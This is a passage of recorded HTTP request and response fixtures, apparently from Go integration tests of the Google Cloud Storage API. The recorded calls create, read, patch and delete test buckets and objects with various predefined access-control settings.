2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FNPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQU09In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBTT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBTT0ifQ==" - } - }, - { - "ID": "a0db97c641f3f17c", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0019?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:22 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo15eoN1OrQFM6eqxJcuNFl7Wfr6x_VvJ0ENBlhhC_Hedf5al2OplGnNslWnRQT9RVs92RVLevZ_F_ohutgnNsUbK1PVsR04UnQ_A6ea3C0ZLy8FkI" - ] - }, - "Body": "" - } - }, - { - "ID": "ca84fc3a71a55ea8", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026predefinedAcl=authenticatedRead\u0026predefinedDefaultObjectAcl=publicRead\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "60" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwIn0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "1468" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:23 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrnCCRKNh19fdBAL3pyCzbtLnG7z20pSwSZKl9uTerD6o6-B5mB79mqZRIbXNcUmcpTdpxTreKjvsHK3Y9EKq_5fkzBPInDj8YkjbGViIpd1ldSots" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjIzLjEwNloiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyMy4xMDZaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL2FsbEF1dGhlbnRpY2F0ZWRVc2VycyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMC9hY2wvYWxsQXV0aGVudGljYXRlZFVzZXJzIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwIiwiZW50aXR5IjoiYWxsQXV0aGVudGljYXRlZFVzZXJzIiwicm9sZSI6IlJFQURFUiIsImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoiYWxsVXNlcnMiLCJyb2xlIjoiUkVBREVSIiwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "ed54d82686b4d390", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0020?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "1468" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:23 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:23 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpXJh1_aAMuDVjYxLZJdwqAt7OwZdmTkc0_5wf_LshhNm_So0q87o7gJ31T58vp1b0_CucSecAyyyOLUbYTDrWDDTZGMkZBpfx1iBArjRtBcud1IgI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjIzLjEwNloiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyMy4xMDZaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL2FsbEF1dGhlbnRpY2F0ZWRVc2VycyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMC9hY2wvYWxsQXV0aGVudGljYXRlZFVzZXJzIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwIiwiZW50aXR5IjoiYWxsQXV0aGVudGljYXRlZFVzZXJzIiwicm9sZSI6IlJFQURFUiIsImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoiYWxsVXNlcnMiLCJyb2xlIjoiUkVBREVSIiwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "224aee5425ffb86e", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0020?alt=json\u0026predefinedAcl=private\u0026predefinedDefaultObjectAcl=authenticatedRead\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "33" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJhY2wiOltdLCJkZWZhdWx0T2JqZWN0QWNsIjpbXX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "1113" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:24 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoknWPZdEFnvKZGCGO_Z26ZaKeXNdBzc6k6qqlbGdQXVEtPvLPR2oYtKCXsqDgFBjMw4wfWVXwDfmcc5u5kBAxshpuzKGgCp8UOxv-i_Rml56mzrOI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjIzLjEwNloiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyNC40MjVaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9XSwiZGVmYXVsdE9iamVjdEFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6ImFsbEF1dGhlbnRpY2F0ZWRVc2VycyIsInJvbGUiOiJSRUFERVIiLCJldGFnIjoiQ0FJPSJ9XSwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sIm93bmVyIjp7ImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCJ9LCJsb2NhdGlvbiI6IlVTIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FJPSJ9" - } - }, - { - "ID": "b6a80796e20baf03", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0020/o?alt=json\u0026predefinedAcl=authenticatedRead\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAiLCJuYW1lIjoicHJpdmF0ZSJ9Cg==", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "1995" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:25 GMT" - ], - "Etag": [ - "CNDq5v7x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqMfGdFW2xElqOJcP4q5XeDjVehJr4FmjcFPij-Y31f_168_Jgb6zibcWxCOJzrV1aUYYTXZW9DMX-BcvfJi6YXoBCPpN23EhrGQyY7tHSb0SVurGY" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMC9wcml2YXRlLzE1NTY4MzU5ODQ4NDgyMDgiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvby9wcml2YXRlIiwibmFtZSI6InByaXZhdGUiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk4NDg0ODIwOCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyNC44NDdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MjQuODQ3WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjI0Ljg0N1oiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL28vcHJpdmF0ZT9nZW5lcmF0aW9uPTE1NTY4MzU5ODQ4NDgyMDgmYWx0PW1lZGlhIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvcHJpdmF0ZS8xNTU2ODM1OTg0ODQ4MjA4L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvby9wcml2YXRlL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwIiwib2JqZWN0IjoicHJpdmF0ZSIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTg0ODQ4MjA4IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ05EcTV2N3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL3ByaXZhdGUvMTU1NjgzNTk4NDg0ODIwOC9hbGxBdXRoZW50aWNhdGVkVXNlcnMiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvby9wcml2YXRlL2FjbC9hbGxBdXRoZW50aWNhdGVkVXNlcnMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAiLCJvYmplY3QiOiJwcml2YXRlIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5ODQ4NDgyMDgiLCJlbnRpdHkiOiJhbGxBdXRoZW50aWNhdGVkVXNlcnMiLCJyb2xlIjoiUkVBREVSIiwiZXRhZyI6IkNORHE1djd4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoibW5HN1RBPT0iLCJldGFnIjoiQ05EcTV2N3gvZUVDRUFFPSJ9" - } - }, - { - "ID": "4812f1e0e907256e", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0020/o/private?alt=json\u0026predefinedAcl=private\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "62" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "1529" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:25 GMT" - ], - "Etag": [ - "CNDq5v7x/eECEAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqTjsMMIlet4CWUmGoB3TuGzhTHXlDwuUe1SAQO8H2vmbTo2QYYV_WozfDO2NyZpsA9LCtgwwthwxeEeEG182WQTTe3xLWnsVjqPZx-iho8JAgI66U" - ] - }, - "Body": 